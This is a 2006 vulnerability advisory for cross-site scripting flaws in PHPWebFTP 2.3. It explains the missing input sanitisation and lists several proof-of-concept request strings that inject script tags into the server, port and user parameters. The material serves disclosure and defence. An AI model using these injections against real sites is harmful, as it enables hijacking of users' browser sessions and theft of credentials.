PHPWebFTP 2.3 - Multiple Cross-Site Scripting Vulnerabilities

Related Vulnerabilities: CVE-2006-2048  
Publish Date: 25 Apr 2006
Author: arko.dhar
                							

                source: http://www.securityfocus.com/bid/17688/info

phpWebFTP is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input using the HTTP 'POST' method when submitting a malicious URI. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.anysite.com/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&password=1&language=bulgarian server=<script>alert(''as-208395078');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian 
server=1&port=21&goPassive=on&user=<script>alert('as-453627');</script>&password=1&language=bulgarian
server=><script>alert('as-208395078');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user='><script>alert('as-208395078');</script>&password=1&language=bulgarian
server=</textarea><script>alert('2134327801');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user=<script>var%20test_variable=878173184;
alert(test_variable);</script>&password=1&language=bulgarian